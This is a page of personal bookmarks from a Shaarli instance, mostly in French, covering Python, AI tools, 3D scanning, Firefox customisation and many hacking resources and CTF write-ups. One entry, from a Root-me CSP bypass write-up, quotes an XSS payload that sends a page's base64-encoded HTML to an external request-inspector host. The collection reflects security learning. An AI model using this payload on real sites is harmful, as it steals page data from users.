Shaare your links...
3421 links
L!NKS Retour au blog Login RSS Feed ATOM Feed Tag cloud Picture wall Daily
Links per page: 20 50 100
◄Older
page 1 / 35
  • QMD - Un moteur de recherche local pour vos notes Markdown - Korben
    permalink -
    - https://korben.info/qmd-recherche-markdown-locale-ia.html
  • LLM Local 2026 : Ollama, LM Studio ou vLLM — Quel Outil
    permalink -
    - https://ayinedjimi-consultants.fr/articles/ia-llm-local-ollama-lmstudio-vllm
    ai
  • r/FirefoxCSS Guide: Customizing Firefox with CSS
    How to customize Firefox with CSS.
    Getting Started

    Firefox supports advanced customization of its UI with user-defined CSS. This allows virtually unlimited customization of the style of the browser, as well as some very limited functionality customization.

    You can define these rules in two files: userChrome.css and userContent.css.

    userChrome.css affects the browser's chrome (a general term for a UI). This includes things like the address bar and tabs, as well as the menus (even the context menu).

    userContent.css affects the browser's content, e.g, web content as well as Firefox built-in pages (about: pages) and also extension content. About pages include things like the new tab page (about:newtab), the options page (about:preferences), addons page (about:addons), and so on. You can see a complete list of about: pages at about:about.
    Setup
    1. Enable userChrome customization in about:config

       Navigate to about:config via the address bar and click the 'Accept the Risk and Continue' button if it appears.

       Search for toolkit.legacyUserProfileCustomizations.stylesheets and toggle it to true by double-clicking it.

    For a visual walk-through Watch Me Do or Youtube.
    2. Locate and open your profile folder:

       Go to FF menu ➝ Help ➝ 'More Troubleshooting Information' or navigate to about:support in your address bar.

       Note: for Thunderbird, the menu choice is TB menu > Help > Troubleshooting Information.

       for Windows, under Application Basics click the 'Open Folder' button next to 'Profile folder'.

       for MacOS, under Application Basics click the 'Show in Finder' button' and click the highlighted profile folder.

       for *nix, near the bottom of Application Basics, click 'Profiles' > about:profiles. For the profile in use, click the 'Open Directory' button for the Root Directory

    You should now see your profile folder open in your file manager.
    3. Create the folder and its files

       Inside your profile folder, create a new folder named chrome (case-insensitve). The chrome folder should end up in a folder that includes files like prefs.js and places.sqlite.

       Inside the chrome folder, create two new files: userChrome.css and userContent.css (case sensitive).

       Note: In Windows, before creating those files you must make sure the 'Hide extensions for known file types' setting in File Explorer is disabled. If this is not done, your files will end with .txt. You won't be able to notice that, and your code won't work. To make the change, click the meatball (...) menu on the File Explorer toolbar ➝ Options ➝ 'View' tab ➝ uncheck 'Hide extensions for known file types' ➝ Apply ➝ OK.

    4. Add some content to the file and make sure to save it as a plain text file with no rich text formatting.

    For example:
    .tab-background[selected] {
     border: 1px solid !important;
     border-color: black !important;
    }

    .tab-background[selected] {
     background: lightblue !important;
    }
    permalink -
    - https://www.reddit.com/r/FirefoxCSS/wiki/index/tutorials/
    firefox
  • GitHub - alibakhtiari2/fooocusrtx508090: fooocus rtx 50 series · GitHub
    permalink -
    - https://github.com/alibakhtiari2/fooocusrtx508090
  • GitHub - Tavris1/ComfyUI-Easy-Install: Portable ComfyUI installer for Windows, macOS and Linux with EZi Desktop app 🔹 Nvidia GPU support 🔹 Pixaroma Community Edition · GitHub
    permalink -
    - https://github.com/Tavris1/ComfyUI-Easy-Install
  • GitHub - EricRollei/Eric_Qwen_Edit_Experiments: Edit Images with Qwen at higher resolution (up to 17mp) and Generate up to 60mp · GitHub
    permalink -
    - https://github.com/EricRollei/Eric_Qwen_Edit_Experiments
  • YouTube thumbnail
    How to make a 3D Gaussian Splatting using LichtFeld-Studio + RealityScan - YouTube
    permalink -
    - https://www.youtube.com/watch?v=4HChcEgrvkc
    gaussian_splat
  • GitHub - Nannigalaxy/video-3d-reconstruction-gsplat: a streamlined pipeline for converting videos into 3D Gaussian Splatting models · GitHub
    permalink -
    - https://github.com/Nannigalaxy/video-3d-reconstruction-gsplat
    3D gaussian_splat
  • GitHub - playcanvas/supersplat: 3D Gaussian Splat Editor · GitHub
    permalink -
    - https://github.com/playcanvas/supersplat
    gaussian_splat
  • WebApp - KIRI Engine
    permalink -
    - https://www.kiriengine.app/webapp
    3D gaussian_splat
  • YouTube thumbnail
    These Are the Best Tools to Create Gaussian Splatting - YouTube
    permalink -
    - https://www.youtube.com/watch?v=CrlSey4RmVI
    3D gaussian_splat
  • GitHub - jumpjack/vid2scene: End to end 3D Gaussian Reconstruction · GitHub
    permalink -
    - https://github.com/jumpjack/vid2scene
    3D gaussian_splat
  • Formations Python de Docstring
    permalink -
    - https://www.docstring.fr/formations/?accessibility=free
    python tuto
  • Qu'est-ce que les dataclasses en python ?
    permalink -
    - https://www.docstring.fr/glossaire/dataclasses/
    dev python
  • Tutoriels - Applications web progressives | MDN
    permalink -
    - https://developer.mozilla.org/fr/docs/Web/Progressive_web_apps/Tutorials
    dev pwa
  • Is it possible to build android apk with buildozer or similar? · zauberzeug/nicegui · Discussion #578 · GitHub
    permalink -
    - https://github.com/zauberzeug/nicegui/discussions/578
    android dev python
  • Python := Walrus Operator in Python 3.8 - GeeksforGeeks
    permalink -
    - https://www.geeksforgeeks.org/python/walrus-operator-in-python-3-8/
    python
  • Nuitka the Python Compiler — Nuitka the Python Compiler
    permalink -
    - https://nuitka.net/
    python
  • chardet · PyPI
    permalink -
    - https://pypi.org/project/chardet/
    python
  • GitHub - jdefrancesco/dskDitto: Ultra fast and easy duplicate file finder. Awesome TUI/GUI to manage results. · GitHub
    permalink -
    - https://github.com/jdefrancesco/dskDitto
    software
  • YouTube thumbnail
    «Une permission de frauder»: le nouveau scandale qui touche Donald Trump - YouTube
    permalink -
    - https://www.youtube.com/watch?v=lIHkYbkvFgw
    trump
  • GitHub - Nightmare-Eclipse/YellowKey: YellowKey Bitlocker Bypass Vulnerability · GitHub
    permalink -
    - https://github.com/Nightmare-Eclipse/YellowKey
    bitlocker windows
  • Windows BitLocker zero-day gives access to protected drives, PoC released
    via sebsauvage
    A cybersecurity researcher has published proof-of-concept (PoC) exploits for two unpatched Microsoft Windows vulnerabilities named YellowKey and GreenPlasma, which are a BitLocker bypass and a privilege-escalation flaw.

    It involves placing specially crafted ‘FsTx’ files on a USB drive or EFI partition, rebooting into WinRE, and triggering a shell by holding down the CTRL key.
    permalink -
    - https://www.bleepingcomputer.com/news/security/windows-bitlocker-zero-day-gives-access-to-protected-drives-poc-released/
    bitlocker exploit windows
  • Stéphane Lopez - Polar Park (Bande originale de la série) (Full Album) - YouTube
    bande originale de Polar Park par Stéphane Lopez
    permalink -
    - https://www.youtube.com/playlist?list=PLHsSHgJ42JPuyM5sbAi20f4NNxyaQPj2K
    music
  • File Inclusion/Path traversal - HackTricks
    permalink -
    - https://hacktricks.wiki/en/pentesting-web/file-inclusion/index.html
    hacking LFI
  • GitHub - soxoj/maigret: 🕵️‍♂️ Collect a dossier on a person by username from 3000+ sites · GitHub
    permalink -
    - https://github.com/soxoj/maigret
    osint
  • Dirty Frag - L'exploit kernel Linux qui donne un accès root sur toutes les distros - Korben
    permalink -
    - https://korben.info/dirtyfrag.html
    linux
  • GitHub - PakCyberbot/Buffer-Overflow-Assistant: This is the helper Program for the Stack-based Buffer-Overflow Attack named Bofy. · GitHub
    permalink -
    - https://github.com/PakCyberbot/Buffer-Overflow-Assistant/tree/main
  • GitHub - vedas-dixit/LocalAgent: Local Reasoning Agent using LangChain + Ollama · GitHub
    permalink -
    - https://github.com/vedas-dixit/LocalAgent
    ai
  • GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF · GitHub
    permalink -
    - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master
    hacking
  • MITRE ATT&CK®
    permalink -
    - https://attack.mitre.org/
    sécurité
  • Kilo CLI
    permalink -
    - https://kilo.ai/docs/code-with-ai/platforms/cli
    ai dev
  • YouTube thumbnail
    Trouble du spectre de l’autisme (TSA) enfant & ado - Co-construire un accompagnement de qualité - YouTube
    permalink -
    - https://www.youtube.com/watch?v=iGL4NCXnW-4
    autisme
  • GTFOBins
    Priv esc
    permalink -
    - https://gtfobins.org/#more
    hacking linux
  • LOLBAS
    permalink -
    - https://lolbas-project.github.io/#
    hacking windows
  • Firefox DevTools User Docs — Firefox Source Docs documentation
    permalink -
    - https://firefox-source-docs.mozilla.org/devtools-user/
    firefox
  • All Articles - PortSwigger Research
    permalink -
    - https://portswigger.net/research/articles
    hacking web
  • Lab: Reflected XSS protected by CSP, with CSP bypass | Web Security Academy
    permalink -
    - https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass
    xss
  • Root-me: CSP Bypass – Inline code – soon20042001
    <img src=x onerror="document.location='//01hfkzehy3nddzqat82638mhz600-e2cbd7998b9ba9f03d58.requestinspector.com/?source='+btoa(document.body.innerHTML)">
    permalink -
    - https://nhienit5.wordpress.com/2023/11/19/root-me-csp-bypass-inline-code/
    haking writeUp
  • Web Request Inspector & Probe Service | Request Inspector
    permalink -
    - https://requestinspector.com/
    hacking
  • LazyAdmin -TryHackMe Challenge Walkthrough | by IritT | Medium
    permalink -
    - https://iritt.medium.com/lazyadmin-tryhackme-challenge-walkthrough-250477400dd2
    hacking tryhackme writeUp
  • GoBuster : Analyse des fichiers, répertoires et sous-domaines
    permalink -
    - https://blog.crea-troyes.fr/9711/gobuster-analyse-des-fichiers-repertoires-et-sous-domaines/
    hacking tools
  • Caddy : HTTPS automatique et configuration simple
    permalink -
    - https://blog.stephane-robert.info/docs/services/web/caddy/
    webserver
  • NetworkX : Théorie des graphes, fonctions de base et utilisation
    permalink -
    - https://liora.io/networkx-tout-savoir
    graphes python
  • L!NKS
    permalink -
    - http://spynaej.eu/links/?#2-faFQ
    niceGUI python
  • Python NiceGUI : Créez facilement des interfaces Web puissantes | DataCamp
    permalink -
    - https://www.datacamp.com/fr/tutorial/nicegui
    niceGUI python
  • HackTheBox — Office (HARD) Writeup and Experiences | by Frank Kyazze | Medium
    permalink -
    - https://frankkyazze.medium.com/hackthebox-office-hard-writeup-and-experiences-09f25d4424d6
    hacking writeUp
  • YouTube thumbnail
    "Nightingale - Docker for Pentesters" by Raja Nagori at IWCON2023 - YouTube
    [Package nightingale_programming_image · GitHub](https://github.com/RAJANAGORI/Nightingale/pkgs/container/nightingale_programming_image)
    permalink -
    - https://www.youtube.com/watch?v=L2H_XNh3Pnw
    docker hacking
  • Ethical Hacking Lessons — Bashed Writeup | by Kamran Bilgrami | Medium
    permalink -
    - https://kamran-bilgrami.medium.com/ethical-hacking-lessons-bashed-writeup-5053b10d4e0a
    hacking writeUp
  • Paywalls
    <a href="https://github.com/wasi-master/13ft>WasiMaster</a>;
    [GitHub - everywall/ladder: Selfhosted alternative to 12ft.io. and 1ft.io bypass paywalls with a proxy ladder and remove CORS headers from any URL](https://github.com/everywall/ladder)
    permalink -
    - ?2jLbnQ
    paywall
  • Les graphes en Python - ZoneNSI
    permalink -
    - https://www.zonensi.fr/NSI/Terminale/C09/graphe_python/
    graphes python
  • Osintracker V2
    permalink -
    - https://osintfr.com/articles/osintracker-v2/
    OSINT
  • Release 6.4.0 · k4yt3x/video2x · GitHub
    permalink -
    - https://github.com/k4yt3x/video2x/releases/tag/6.4.0
    upscale video
  • Comparison of Android-based Operating Systems
    permalink -
    - https://eylenburg.github.io/android_comparison.htm
    android
  • GitHub - astral-sh/uv: An extremely fast Python package and project manager, written in Rust.
    https://blog.stephane-robert.info/docs/developper/programmation/python/uv/

    https://medium.com/@datagumshoe/using-uv-and-conda-together-effectively-a-fast-flexible-workflow-d046aff622f0
    permalink -
    - https://github.com/astral-sh/uv
    python uv
  • Comment configurer et exécuter DeepSeek-R1 localement avec Ollama | DataCamp
    permalink -
    - https://www.datacamp.com/fr/tutorial/deepseek-r1-ollama
    deepseek ia
  • Purple Voice - Podcast.fr
    permalink -
    - https://podcast.fr/podcast/purple-voice/
    hacking podcast
  • Down Arrow SVG Download Free & Edit Vector (Arrow Icon Collection) - SVG Viewer
    permalink -
    - https://www.svgviewer.dev/s/337789/down-arrow
    svg
  • PyPy
    implémentation de python plus rapide
    permalink -
    - https://pypy.org/
    python
  • </> htmx - high power tools for html
    permalink -
    - https://htmx.org/
    htmx javascript
  • interact.js - JavaScript drag and drop, resizing and multi-touch gestures for modern browsers
    Free and open source
       Powerful snap and restriction modifiers
       Inertial throwing
       Multiple simultaneous interactions
       Unified API for touch and mouse events
       Auto scroll
       Support for HTML and SVG
    permalink -
    - https://interactjs.io/
    javascript
  • Genogram Family Tree Diagram, with Custom Layout, Printing, Downloading SVG | GoJS Diagramming Library
    permalink -
    - https://gojs.net/latest/samples/genogram.html
    app genogram
  • camoufox · PyPI
    permalink -
    - https://pypi.org/project/camoufox/
    scraper
  • Vision sans lunettes sur écran d'ordinateur ? - Docteur Damien Gatinel
    Mon idée serait de déformer l’image affichée sur mon écran d’ordinateur (imaginons que c’est une photo de mongolfière) de façon à ce qu’elle soit projectée nettement sur ma rétine.

    Notre réponse :

    Votre question peut être généralisée de la sorte: pourrais t’on concevoir un système qui agit sur les images en « pré compensant » pour le flou induit par une erreur réfractive quelconque (myopie, presbytie, hypermétropie, etc.) de manière à ce que ce « flou » deviennent, sous l’effet de l’erreur de défocus (erreur de mise au point), net sur la rétine? Autrement dit, peut on concevoir un système qui flouterait une image de manière à ce que ce flou ajouté au « flou » rétinien (en l’absence de correction) produise une image nette?

    A priori, ceci est impossible, du moins en routine, pour au moins deux raisons; l’une est optique, et tient à la différence entre ce qu’est une « image » et ce qu’est un faisceau de lumière se propageant (qui n’a pas forcément vocation à former une image). L’autre est liée à ce qu’est la vision humaine: une production cérébrale, qui module grandement l’image reçue par la rétine, et qui fait que même si la raison optique n’existait pas, il faudrait beaucoup d' »ajustements pour arriver à produire une image nette par compensation, et il n’existerait probablement pas une solution universelle.

    Les objets que nous voyons émettent ou réfléchissent la lumière, qui est composée de photons, et que l’on peut également représenter comme une onde électromagnétique. Sans rentrer dans le détail des formules qui décrivent la propagation de la lumière, celle-ci, en tant qu’onde, possède une « phase », une « intensité », etc. La lumière n’est « vue » (formation d’une image) que part le biais d’une réaction photochimique, qui suppose une interaction lumière matière (photons/électrons). Cette interaction »détruit » une partie de l’information reçue. D’un point de vue corpusculaire, le photon est « capté », son énergie produisant une modification de certaines molécules au niveau des photorécepteurs rétiniens, suivie d’une dépolarisation et d’un courant axonal etc etc.  D’un point de vue ondulatoire, l’onde est « modulée », l’information sur sa phase disparait en partie. Pour mesurer la phase d’une onde, il faut passer par cette étape d’interaction, car on ne peut pas mesurer la propagation de l’onde lumineuse sans interagir avec (ex: capteur CCD d’un aberromètre Schack Hartman). On rejoint un peu une donnée fondamentale de la physique quantique, à savoir que toute mesure est le fruit d’une interaction entre le détecteur et l’objet de la mesure, et que le premier « influence » (détruit dans le cas de la captation de lumière) le second.

    D’un point de vue plus mathématique, on peut calculer la distribution de la lumière reçue dans un plan « image » (ex: celui de la rétine, ou de capteur)  à partir d’équations qui dans certaines conditions correspondent à une transformée de Fourier de la phase de l’onde…. mise au carré ( cf le calcul de la fonction d’étalement du point ou PSF d’intensité). De ce fait, quand on observe un étalement d’intensité lumineuse, on ne peut pas s’affranchir d’une certaine incertitude sur le problème optique ayant généré cet étalement (la mise au carré produit un résultat identique au signe près…). A titre d’exemple pratique, en inspectant une image floutée (d’un objet plat), on ne peut pas savoir si le flou est du à un défocus positif (correpondant à une myopie pour l’oeil) ou négatif (hypermétropie). Si vous cherchez plus d’information sur ce sujet, vous trouverez des informations relatives à la convolution des images sur internet, qui permet de simuler l’image perçue par un instrument, à condition de connaître l’effet produit sur la phase des ondes lumineuses.

    Ceci ne signifie pas pour autant que l’on ne peut pas débarrasser une image d’une partie de son flou, et c’est ce que font par exemple les astronomes sur certaines images ( travail de déconvolution).

    On pourrait ainsi imaginer de produire une fonction qui convoluerait l’image à afficher de manière à ce que « re »convoluée par le système optique de l’œil, sa netteté augmente; votre idée n’est malheureusement pas si nouvelle que ça :  ceci a déjà été tenté (j’en ai été le témoin pour la correction de la presbytie, par exemple sur les écran de smartphones). Mais jusqu’à présent, les résultats semblent décevants, en raison des explications suscitées, et aussi parce que la vision humaine diffère notablement de la vision « instrumentale »…

    J’espère que cette réponse pourra un peu « éclairer » votre lanterne !
    permalink -
    - https://www.gatinel.com/blog_faq/vision-sans-lunettes-sur-ecran-dordinateur/
    optique
  • Nettoyant vitre STARWAX Anti traces +20% offert, 0.6L | Leroy Merlin
    a pulvériser avant joint silicone + raclette joint
    permalink -
    - https://www.leroymerlin.fr/produits/nettoyant-vitre-starwax-anti-traces-20-offert-0-6l-65225944.html
  • Boîte de dérivation à encastrer DEBFLEX 8 entrées | Leroy Merlin
    permalink -
    - https://www.leroymerlin.fr/produits/boite-de-derivation-a-encastrer-debflex-8-entrees-65104550.html
  • Orwell : 2+2=5 | Le Pacte
    permalink -
    - https://le-pacte.com/france/film/orwell-225
    docu
  • thumbnail
    3Dimka_Chel_Camel.jpg (Image JPEG, 1024 × 768 pixels)
    permalink -
    - https://sebsauvage.net/galerie/photos/Bordel/3Dimka_Chel_Camel.jpg
    optique
  • Microsoft perd 400 milliards $ en valeur boursière à cause de la bulle monétaire circulaire de l'IA qui a créé une illusion de 750 milliards $, un fantasme de Sam Altman qui ruine l'avenir de Microsoft
    permalink -
    - https://intelligence-artificielle.developpez.com/actu/379772/Microsoft-perd-400-milliards-en-valeur-boursiere-a-cause-de-la-bulle-monetaire-circulaire-de-l-IA-qui-a-cree-une-illusion-de-750-milliards-un-fantasme-de-Sam-Altman-qui-ruine-l-avenir-de-Microsoft/
    ia
  • Tous vos outils d'investigation OSINT réunis dans votre navigateur | Posts | Le site de Korben
    permalink -
    - https://korben.info/osint-rocks-outils-investigation-navigateur.html
    osint
  • Web-Check - Radiographiez n'importe quel site en un clic | Posts | Le site de Korben
    permalink -
    - https://korben.info/web-check-outil-osint-analyse-site-securite.html
  • Des lunettes autofocus qui rendent les verres progressifs inutiles | Posts | Le site de Korben
    permalink -
    - https://korben.info/lunettes-autofocus-ixi-presbytie-cristaux-liquides.html
  • TermsTooLong - L'outil qui note les CGU que vous ne lisez jamais | Posts | Le site de Korben
    permalink -
    - https://korben.info/termstoolong-cgu-trop-longues.html
  • LiteTube - L'extension Firefox qui fait sauter les verrous de YouTube | Posts | Le site de Korben
    permalink -
    - https://korben.info/litetube-extension-firefox-youtube-sans-pub.html
    addon firefox youtube
  • TranslateGemma - La traduction locale haute qualité par Google | Posts | Le site de Korben
    permalink -
    - https://korben.info/google-translategemma.html
    ai
  • OGhidra - Dopage à l'IA pour Ghidra en local | Posts | Le site de Korben
    permalink -
    - https://korben.info/oghidra-dopage-a-lia-pour-ghidra-en-local.html
    software
  • LangExtract - La nouvelle pépite de Google pour extraire des données structurées avec l'IA | Posts | Le site de Korben
    permalink -
    - https://korben.info/langextract-la-nouvelle-pepite-de-google-pour-extraire-des-donnees-structurees-avec-lia.html
    software
  • Test du UGREEN FineTrack G : la meilleure alternative aux AirTags pour l’écosystème Android ? | Posts | Le site de Korben
    permalink -
    - https://korben.info/test-du-ugreen-finetrack-g-la-meilleure-alternative-aux-airtags-pour-lecosysteme-android.html
  • YouTube thumbnail
    Le guide ultime pour comprendre les MCP (+ 3 Demos) - YouTube
    permalink -
    - https://www.youtube.com/watch?v=9RV5gttT6rA
    ia mcp
  • Tous les livres de la série Armand Gamache enquête | leslibraires.ca | Acheter des livres papier et numériques en ligne
    permalink -
    - https://www.leslibraires.ca/serie/armand-gamache-enquete-206164?limit=60
    romans
  • Armand Gamache enquête - Série - Babelio
    permalink -
    - https://www.babelio.com/serie/Armand-Gamache-enquete/39626
    romans
  • Exporting Canvas to HTML (and PDF) - Share & showcase - Obsidian Forum
    ctrl + maj + i : open developper console
    allow pasting

    // Get a copy of the canvas content element
    let view = app.workspace.activeLeaf.view;
    if (view.getViewType() !== "canvas") {
     throw new Error("The active view is not a canvas");
    }
    let content = view.contentEl.cloneNode(true);

    // Remove the canvas background dots
    content.querySelector(".canvas-background").remove();

    // Remove the canvas UI controls
    content.querySelector(".canvas-card-menu").remove();
    content.querySelector(".canvas-controls").remove();

    // Remove the canvas node labels (image filenames)
    content.querySelectorAll(".canvas-node-label").forEach((el) => el.remove());

    // Get all the CSS, except for print styles
    // https://developer.mozilla.org/en-US/docs/Web/API/StyleSheetList#get_all_css_rules_for_the_document_using_array_methods
    let allCSS = [...document.styleSheets]
     .map((styleSheet) =>
       [...styleSheet.cssRules]
         .map((rule) => rule.cssText)
         .filter((cssText) => !cssText.includes("@media print")) // No print styles
         .join("\n")
     )
     .join("\n");

    // Global regex matches app:// followed by any characters except /
    let pattern = /app:\/\/[^\/]*/g;

    // Generate HTML & CSS. Remove any app:// prefixes from URLs.
    let html = `
    <!DOCTYPE HTML>
    <html>
    <head>
    <style>
    ${allCSS}
    /* Use exact colors for card backgrounds and bullets */
    body { -webkit-print-color-adjust: exact; print-color-adjust: exact; }
    </style>
    </head>
    <body class="${document.querySelector("body").className}">
    ${content.outerHTML}
    </body>
    </html>`.replaceAll(pattern, "");

    // Save html file
    let filename = "canvas-export.html";
    existingFile = app.vault.getAbstractFileByPath(filename);
    if (existingFile) {
     app.vault.delete(existingFile);
    }
    app.vault.create(filename, html);

    console.log("Open this file in your browser and print to PDF:");
    console.log(`${app.vault.adapter.basePath}/${filename}`);
    permalink -
    - https://forum.obsidian.md/t/exporting-canvas-to-html-and-pdf/60331
    obsidian
  • La mémoire traumatique en bref
    permalink -
    - https://www.memoiretraumatique.org/psychotraumatismes/memoire-traumatique.html
    trauma
  • Comment installer un compte local sur Windows 11 simplement
    permalink -
    - https://www.minimachines.net/actu/comment-installer-un-compte-local-sur-windows-11-simplement-136532
    microsoft
  • An Updated Academic Workflow: Zotero & Obsidian | by Alexandra Phelan | Medium
    ---
    category: literaturenote
    tags: {% if allTags %}{{allTags}}{% endif %}
    citekey: {{citekey}}
    status: unread
    dateread:
    ---

    > [!Cite]
    > {{bibliography}}

    >[!Synth]
    >**Contribution**::
    >
    >**Related**:: {% for relation in relations | selectattr("citekey") %} [[@{{relation.citekey}}]]{% if not loop.last %}, {% endif%} {% endfor %}
    >

    >[!md]
    {% for type, creators in creators | groupby("creatorType") -%}
    {%- for creator in creators -%}
    > **{{"First" if loop.first}}{{type | capitalize}}**::
    {%- if creator.name %} {{creator.name}}  
    {%- else %} {{creator.lastName}}, {{creator.firstName}}  
    {%- endif %}  
    {% endfor %}~
    {%- endfor %}    
    > **Title**:: {{title}}  
    > **Year**:: {{date | format("YYYY")}}  
    > **Citekey**:: {{citekey}} {%- if itemType %}  
    > **itemType**:: {{itemType}}{%- endif %}{%- if itemType == "journalArticle" %}  
    > **Journal**:: *{{publicationTitle}}* {%- endif %}{%- if volume %}  
    > **Volume**:: {{volume}} {%- endif %}{%- if issue %}  
    > **Issue**:: {{issue}} {%- endif %}{%- if itemType == "bookSection" %}  
    > **Book**:: {{publicationTitle}} {%- endif %}{%- if publisher %}  
    > **Publisher**:: {{publisher}} {%- endif %}{%- if place %}  
    > **Location**:: {{place}} {%- endif %}{%- if pages %}  
    > **Pages**:: {{pages}} {%- endif %}{%- if DOI %}  
    > **DOI**:: {{DOI}} {%- endif %}{%- if ISBN %}  
    > **ISBN**:: {{ISBN}} {%- endif %}    

    > [!LINK]
    > {%- for attachment in attachments | filterby("path", "endswith", ".pdf") %}
    >  [{{attachment.title}}](file://{{attachment.path | replace(" ", "%20")}})  {%- endfor -%}.

    > [!Abstract]
    > {%- if abstractNote %}
    > {{abstractNote}}
    > {%- endif -%}.
    >
    # Notes
    > {%- if markdownNotes %}
    >{{markdownNotes}}{%- endif -%}.


    # Annotations
    {%- macro calloutHeader(type, color) -%}  
    {%- if type == "highlight" -%}  
    <mark style="background-color: {{color}}">Quote</mark>  
    {%- endif -%}

    {%- if type == "text" -%}  
    Note  
    {%- endif -%}  
    {%- endmacro -%}

    {% persist "annotations" %}
    {% set newAnnotations = annotations | filterby("date", "dateafter", lastImportDate) %}
    {% if newAnnotations.length > 0 %}

    ### Imported: {{importDate | format("YYYY-MM-DD h:mm a")}}


    {% for a in newAnnotations %}
    {{calloutHeader(a.type, a.color)}}
    > {{a.annotatedText}}
    {% endfor %}
    {% endif %}
    {% endpersist %}
    permalink -
    - https://medium.com/@alexandraphelan/an-updated-academic-workflow-zotero-obsidian-cffef080addd
    obsidian zotero
  • trauma complexe
    permalink -
    - https://www.sciencedirect.com/science/article/pii/S0013700625001459
  • Un clavier pour écrire en français sous Windows : É Ç Œ et trucs dans le genre... - Mon coin du web
    permalink -
    - https://eric.bugnet.fr/2013-un-clavier-pour-ecrire-en-francais-sous-windows-e-c-oe-et-trucs-dans-le-genre/
    clavier
  • Pourquoi le café me fatigue ? Une explication complète et sourcée - Shouka - Cafés de Spécialité & Chocolats Bean-to-Bar
    permalink -
    - https://shouka-chamonix.fr/pourquoi-le-cafe-me-fatigue/
    santé
  • YouTube thumbnail
    Flux de travail FLUX.1 Krea ComfyUI : Images sans effet IA avec GGUF + TeaCache (VRAM faible) - YouTube
    modèles
    https://huggingface.co/QuantStack/FLUX.1-Krea-dev-GGUF/tree/main
    permalink -
    - https://www.youtube.com/watch?v=2jsJZOEMOkM
    ai
  • magnolia1234/bypass-paywalls-firefox-clean
    permalink -
    - https://gitflic.ru/project/magnolia1234/bypass-paywalls-firefox-clean
  • Windows 11 hacks to regain productivity • The Register
    via sebsauvage
    permalink -
    - https://www.theregister.com/2025/07/21/windows_11_productivity_sink/
    unbloat windows
  • Teal and Orange values - Software / RawTherapee - discuss.pixls.us
    permalink -
    - https://discuss.pixls.us/t/teal-and-orange-values/24413/7
    photo rawtherapee
  • GitHub - xM4ddy/OFGB: GUI Tool To Remove Ads From Various Places Around Windows 11
    remove ads
    permalink -
    - https://github.com/xM4ddy/OFGB
    windows11
  • YouTube thumbnail
    The MOST POWERFUL Tool in Rawtherapee: Local Adjustments! - YouTube
    permalink -
    - https://www.youtube.com/watch?v=O2W8UYds4bQ
    rawtherapee
  • My RawTherapee Workflow: Denoising Techniques and a Comparison with Topaz DeNoise AI – Open Source Photography
    permalink -
    - https://marcrphoto.wordpress.com/2024/06/21/my-rawtherapee-workflow-denoising-techniques-and-a-comparison-with-topaz-denoise-ai/
    photo raw
  • StegOnline: A New GUI Steganography Tool | by George O | CTF Writeups | Medium
    https://georgeom.net/StegOnline/upload
    permalink -
    - https://medium.com/ctf-writeups/stegonline-a-new-steganography-tool-b4eddb8f8f57
    hacking stegano
  • [Domoticz] Remplacer une sonde sans perdre l’historique
    Ajouter le nouveau périphérique via Réglages > Dispositifs : flèche verte en fin de ligne. Donnez-lui un nom temporaire.

    Dans l'onglet "températures" éditer l'ancienne sonde :
    Puis "Remplacer :
    Un menu apparaît alors, choisir la nouvelle sonde et valider avec OK. Renommez-là pour lui mettre le nom de l'ancienne sonde pour plus de cohérence, même si ce n'est pas obligatoire.

    Voilà, c'est terminé ! Tout l'historique de température est maintenant lié à la nouvelle sonde.
    permalink -
    - https://blogmotion.fr/diy/remplacer-capteur-temperature-15225
    domoticz
  • Falafel (boulettes de pois chiche aux herbes) au four
    Pour 16 falafels :

       350 g de pois chiches secs à tremper au moins 12 heures dans un saladier rempli d’eau froide
       1 oignon jaune de taille moyenne
       1 petite botte de persil
       5 brins de menthe ou ciboulette ou aneth ou basilic (ce que vous avez dans le frigo)
       1 petite botte de coriandre
       1/2 cuillère à café de cardamome verte
       1 cuillère à café de cumin en poudre
       2 gousses d’ail hachées
       1 cuillère à café de sel
       2 tours de moulin de poivre
       1 sachet de levure chimique
       1,5 cuillère à soupe de farine de blé

    Pour saupoudrer avant cuisson :

       2 cuillères à soupe de grains de sésame pour la cuisson
       2 cuillères à soupe d’huile d’olive
    permalink -
    - https://www.papillesetpupilles.fr/2020/06/falafels-au-four.html/
    cuisine
  • YouTube thumbnail
    How To Install Kali Linux In Virtual Box + Guest Additions Fix - YouTube
    permalink -
    - https://www.youtube.com/watch?app=desktop&v=nvImI7rJwdI
    kali linux virtualbox
  • Comptes FREE orphelins Emails-Pages Perso accès libre leur gestion est de nouveau possible
    permalink -
    - https://www.busyspider.fr/Actu/news_24795_free-la-gestion-des-emails-et-pages-perso-des-comptes-orphelins-suite-resiliation-freebox-en-acces-libre-est-de-nouveau-possible.php
    free
Links per page: 20 50 100
◄Older
page 1 / 35
Shaarli 0.0.41 beta - The personal, minimalist, super-fast, no-database delicious clone. By sebsauvage.net. Theme by idleman.fr.